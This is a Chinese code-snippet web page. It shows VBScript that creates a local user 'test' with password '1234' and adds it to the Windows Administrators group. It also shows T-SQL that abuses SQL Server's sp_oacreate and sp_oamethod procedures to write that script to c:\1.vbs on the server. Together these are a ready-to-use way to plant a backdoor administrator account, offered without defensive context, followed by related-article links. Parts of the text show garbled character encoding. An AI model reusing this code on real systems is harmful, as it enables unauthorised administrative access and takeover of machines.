vbs加administrator用戶的代碼
更新時間：2008年08月01日 01:22:05 作者：
使用ADSI的Winnt對象，Windows2000后面的系統(tǒng)都屬于NT系列
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"
SQL語句如下，采用sp_oamethod過程：
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
相關文章
用vbscript合并多個文本文件的代碼...2007-04-04
VBS教程：方法-Replace 方法...2006-11-11
使用腳本調(diào)用系統(tǒng)的關機對話框?qū)崿F(xiàn)代碼
以前有介紹如何使用命令行調(diào)用系統(tǒng)的關機對話框rundll32.exe shell32.dll #60,但是，上述方法會存在一問題，XP下無法正常使用該方法進行關機2012-05-05
這篇文章主要介紹了使用VBS禁用、啟動USB存儲設備,需要的朋友可以參考下2014-09-09
利用vbscript腳本修改文件內(nèi)容，此適用于自動化的操作中
利用vbscript腳本修改文件內(nèi)容，此適用于自動化的操作中...2006-12-12
加密的vbs腳本拖到這個腳本上就行了。網(wǎng)上有位朋友問我這個問題，我由于今天才上email看了下文件，發(fā)現(xiàn)下面的問題，說實話對于他要問的我和你清楚，我不太會寫呢，不是出于技術問題，是出于已經(jīng)沒了這份愛好。出于對朋友學習的理解，我給解決了幾個問題，下面總結下。并給出正確的代碼。2008-01-01
VBS教程：函數(shù)-Sin 函數(shù)...2006-11-11
sql 復制記錄2008-08-08
vbs+sort排序效果代碼2008-08-08
VBS教程：VBscript語句-功能介紹...2006-11-11